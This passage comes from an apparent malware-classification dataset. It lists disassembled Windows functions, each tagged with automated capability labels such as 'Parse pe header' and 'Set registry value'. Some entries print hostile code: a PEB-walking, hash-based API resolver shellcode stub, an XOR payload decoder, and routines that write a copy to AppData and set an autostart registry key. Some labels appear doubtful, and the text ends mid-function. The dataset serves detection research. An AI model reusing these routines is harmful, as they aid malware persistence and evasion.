joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800d217c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800d21ac
xor eax, eax
jmp 0x1800d226f
mov rbp, rbx
cmp word [rax], si
je 0x1800d21d1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800d21b8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800d21b4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800d209c
movsxd r14, eax
test eax, eax
jne 0x1800d220f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800d21a5
mov rcx, r14
call fcn.1800cfa64
mov rdi, rax
test rax, rax
jne 0x1800d2228
xor ecx, ecx
call fcn.1800ce3f0
jmp 0x1800d2204
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800d209c
test eax, eax
jne 0x1800d2259
mov rcx, rdi
call fcn.1800ce3f0
jmp 0x1800d2263
xor ecx, ecx
call fcn.1800ce3f0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800d52b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800d52d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800d52d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140007cd0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [0x14002d0a0]
test rcx, rcx
je 0x140007d0b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007d30
mov rcx, qword [0x14002d0a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400300e0], 0
jne 0x140007d48
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, qword [0x14002d0a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140007cfe
mov edx, 0x414
lea r12, [rsp + 0x20]
lea rsi, [0x14001d3b2]
mov qword [rsp + 0x20], 0
lea rdi, [0x140030100]
movq xmm0, rsi
mov rcx, r12
mov dword [rsp + 0x28], 3
movq xmm6, rdi
mov word [rsp + 0x40], dx
mov rbp, qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, 0x14
punpcklqdq xmm6, xmm0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rsi
movaps xmmword [rsp + 0x30], xmm6
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007e14
test al, 0x10
je 0x140007d14
mov ecx, 0x64
call r14
mov eax, 0x414
mov qword [rsp + 0x50], rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
movaps xmmword [rsp + 0x30], xmm6
call rbp
sub ebx, 1
je 0x140007d14
mov rcx, rdi
call r13
cmp eax, 0xffffffff
jne 0x140007dc0
jmp 0x140007d14

Function at 0x14000e490
Capabilities:
Create directory

Disassembly:
push rdi
mov eax, 0x2020
push rsi
push rbx
call fcn.140015530
sub rsp, rax
mov eax, dword [0x140034100]
mov rsi, rcx
test eax, eax
je 0x14000e530
xor ebx, ebx
lea rdi, [0x140032100]
test eax, eax
jg 0x14000e4cc
jmp 0x14000e4e0
add rbx, 1
cmp dword [0x140034100], ebx
jle 0x14000e4e0
mov rdx, qword [rdi + rbx*8]
mov rcx, rsi
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14000e4c0
jmp 0x14000e517
mov rcx, rsi
call sub.msvcrt.dll_wcslen
cmp rax, 2
jne 0x14000e4f5
cmp word [rsi + 2], 0x3a
je 0x14000e517
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14000e580
movsxd rbx, dword [0x140034100]
cmp ebx, 0x3ff
jle 0x14000e598
mov eax, 1
add rsp, 0x2020
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
lea rbx, str.HOME
mov r8d, 0x1000
mov rdx, rbx
mov rcx, rdi
call fcn.140007540
test al, al
je 0x14000e5ba
movsxd rbx, dword [0x140034100]
mov rcx, rdi
lea rdi, [0x140032100]
call sub.msvcrt.dll__wcsdup
mov qword [rdi + rbx*8], rax
mov eax, dword [0x140034100]
add eax, 1
mov dword [0x140034100], eax
jmp 0x14000e4b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000e504
xor eax, eax
jmp 0x14000e51c
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add dword [0x140034100], 1
mov rdx, rax
lea rax, [0x140032100]
mov qword [rax + rbx*8], rdx
jmp 0x14000e517
mov rcx, rbx
call fcn.140007c10
nop
nop word cs:[rax + rax]
nop
Function at 0x140014210
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14001b160
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14001b160
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140014ee2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140034228]
test eax, eax
je 0x140014f7a
lea rax, [0x140034200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140034230]
mov qword [rbp - 8], rax
jmp 0x140014f5e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140014f52
cmp qword [rbp - 0x10], 0
je 0x140014f52
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140014f18
lea rax, [0x140034200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140014f7b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140015080
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400150a8
mov eax, 0
jmp 0x1400150f6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400150d1
mov eax, 0
jmp 0x1400150f6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400150f1
mov eax, 0
jmp 0x1400150f6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x3ebfebc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x3ebfec6
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x3ebfeef
pop rbp
sub rbp, 0x33
sub rbp, 0x3abfebc
sub rsp, 0x20
add ecx, dword [rax - 0x7f]
in al, dx
and byte [rax], al
add byte [rax], al
jmp 0x3ebff0e
add byte [rax], al
add byte [rdx], dl
invalid
mov rax, 0x3abfebc
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffc396f6e0
xor byte [rax], dl
inc rax
dec rcx
dec ecx
jne 0x3ebff2d
jmp 0x3ebff44
add byte [rax], al
add byte [rdi - 0x57de19af], bh
imul ecx, dword [rcx], 0xe0dc696b
test al, 0x69
or dword [rbx + 0x69], ebp
fsubr st(0), st(0)
loopne 0x3ebff2d
test al, 0x61
and eax, ebp
loope 0x3ebff33
loopne 0x3ebfefd
loope 0x3ebff60
test al, 0x27
and ch, ah
loopne 0x3ebff3d
loopne 0x3ebff07
invalid
and cl, al
loopne 0x3ebff44
loopne 0x3ebff0e
invalid
Function at 0x401461
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x004189c0]
mov dword [rax], 1
mov rax, qword [0x004189d0]
mov dword [rax], 1
mov rax, qword [0x004189e0]
mov dword [rax], 1
mov rax, qword [0x004189b0]
mov dword [rax], 1
mov rax, qword [0x00418870]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x4014bf
mov eax, 0
jmp 0x40156c
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x4014eb
mov eax, 0
jmp 0x40156c
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x401511
cmp eax, 0x20b
je 0x401538
jmp 0x401567
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x401524
mov eax, 0
jmp 0x40156c
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x40156c
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x401553
mov eax, 0
jmp 0x40156c
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x40156c
mov eax, 0
nop
add rsp, 0x20
pop rbp
ret

Function at 0x401720
Capabilities:
Set registry value

Disassembly:
push r12
sub rsp, 0x60
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Atfes_wN_q_atfNEveaNQg__wfDw_aN_g
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov r12d, eax
test eax, eax
je 0x401779
xor r12d, r12d
mov eax, r12d
add rsp, 0x60
pop r12
ret
lea rcx, [0x0041c160]
call sym.strlen
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
mov r9d, 1
mov dword [rsp + 0x28], eax
lea rax, [0x0041c160]
lea rdx, str.V_dwVwq_kbf
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
test eax, eax
jne 0x4017c7
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r12d, 1
jmp 0x40176f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40176f
Function at 0x4017d0
Capabilities:
Create directory
Get common file path
Write file on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x158
xor r9d, r9d
xor ecx, ecx
mov r8d, 0x1a
lea r12, [rsp + 0x40]
mov rdx, r12
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x4019e7
mov rdx, r12
lea rcx, str.___AppData_directory:__s_n
call sym.printf
mov rcx, r12
call sym.strlen
lea rcx, str.V_dwVwq_kbf
mov rsi, rax
call sym.strlen
lea rcx, [0x0040a025]
mov rbx, rax
call sym.strlen
lea rcx, str._wjw
mov rdi, rax
call sym.strlen
mov r8, rax
lea rax, [rbx + rdi]
add rax, rax
add rsi, r8
add rax, rsi
cmp rax, 0x104
ja 0x4019cd
mov rdx, r12
lea rcx, [0x0041c160]
call sym.strcat
lea rdx, [0x0040a025]
lea rcx, [0x0041c160]
call sym.strcat
lea rdx, str.V_dwVwq_kbf
lea rcx, [0x0041c160]
call sym.strcat
lea rdx, [0x0040a025]
lea rcx, [0x0041c160]
call sym.strcat
lea rdx, str.V_dwVwq_kbf
lea rcx, [0x0041c160]
call sym.strcat
lea rdx, str._wjw
lea rcx, [0x0041c160]
call sym.strcat
mov rdx, r12
lea rcx, [0x0041c040]
call sym.strcat
lea rdx, [0x0040a025]
lea rcx, [0x0041c040]
call sym.strcat
lea rdx, str.V_dwVwq_kbf
lea rcx, [0x0041c040]
call sym.strcat
lea rcx, str.___perm_path:__s_n
lea rdx, [0x0041c160]
call sym.printf
mov rcx, 0xffffffff80000002
call sym.try_registry
test eax, eax
jne 0x401943
lea rcx, str.____HKEY_LOCAL_MACHINE_didnt_work_
call sym.puts
mov rcx, 0xffffffff80000001
call sym.try_registry
test eax, eax
je 0x401a21
xor edx, edx
lea rcx, [0x0041c040]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x401a0b
mov qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], pe_nt_image_headers64
lea rcx, [0x0041c160]
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x401a3b
mov rax, qword [0x00418a00]
xor r9d, r9d
mov rcx, r12
mov qword [rsp + 0x20], 0
mov rdx, qword [0x004189f0]
mov r8d, dword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4019f5
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019da
lea rcx, str.____AppData_path_plus_appendix_would_be_to_long_
call sym.puts
nop
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop r12
ret
lea rcx, str.____Failed_to_retrieve_AppData_path_
call sym.puts
jmp 0x4019da
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_write_to_file__last_error:_0x_x_n
mov edx, eax
call sym.printf
jmp 0x4019da
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_create_folder__last_error:_0x_x_n
mov edx, eax
call sym.printf
jmp 0x4019da
lea rcx, str.____HKEY_CURRENT_USER_didnt_work_
call sym.puts
lea rcx, str.____AutoStart_didnt_work_either_
call sym.puts
jmp 0x4019da
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_create_file__last_error:_0x_x_n
mov edx, eax
call sym.printf
jmp 0x4019da
Function at 0x401dc0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x4029d8
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x0041c368]
test eax, eax
je 0x402a66
lea rcx, [0x0041c340]
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x0041c370]
mov qword [rbp - 8], rax
jmp 0x402a4d
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x402a41
cmp qword [rbp - 0x10], 0
je 0x402a41
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x402a07
lea rcx, [0x0041c340]
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x402a67
nop
add rsp, 0x30
pop rbp
ret

Function at 0x402b70
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x402b98
mov eax, 0
jmp 0x402be6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x402bc1
mov eax, 0
jmp 0x402be6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x402be1
mov eax, 0
jmp 0x402be6
mov eax, 1
nop
add rsp, 0x20
pop rbp
ret
Function at 0x402bed
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x402c6b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x402c62
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x402c62
mov rax, qword [rbp - 8]
jmp 0x402c80
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x402c35
mov eax, 0
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
push r9
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1400037f0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r12d, r12d
cmp r8, 0x201
jae 0x140003890
jmp 0x14000387f
jae 0x140003950
cmp r8, 0x201
jae 0x140003890
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x1400038e8
sub r8, r12
sub rdi, r12
cmp rdi, r8
jae 0x1400038bf
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.140017a10
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rbx, rax
mov r12d, 0xffffffff
cmovb r12, rbx
mov qword [rbp + 0x3d8], r12
mov rdi, rbx
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140003911
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400039b8
mov r8d, r14d
cmp r15, r8
jne 0x140003870
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400039e5
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14000387f
jmp 0x140003890
cmp rsi, r8
jb 0x1400039ff
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140004af0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rbx, rbx
je 0x1400039a1
add rbx, rbx
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rbx
call fcn.1400012d0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test rbx, rbx
jne 0x140003989
jmp 0x1400039a1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.140018250
jmp 0x140003a14
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.1400186a0
ud2
Function at 0x140008c60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140034138]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140008ca4
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140008d0a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x140008d41
test eax, eax
js 0x140008d1b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x140008d34
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.1400048c0
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140001b30
mov ecx, 7
int 0x29
ud2
Function at 0x140015e70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x140015eea
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140015ee0
cmp r11, r10
ja 0x140015f81
cmp r10, rdx
ja 0x140015f93
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140015ee2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140015ec0
jmp 0x140015f57
ja 0x140015eea
mov r11, r10
cmp rax, r8
jne 0x140015e92
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140015f5b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140015f30
mov r8, r10
sub ecx, r9d
jns 0x140015f4e
jmp 0x140015f5d
cmp r10, rdx
je 0x140015f69
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x140015f5d
xor al, 1
cmp r8, rdx
jne 0x140015f10
jmp 0x140015f5d
xor eax, eax
jmp 0x140015f5d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x140035d1b]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140018250
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140018720
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1400186a0
int3

Function at 0x140017490
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
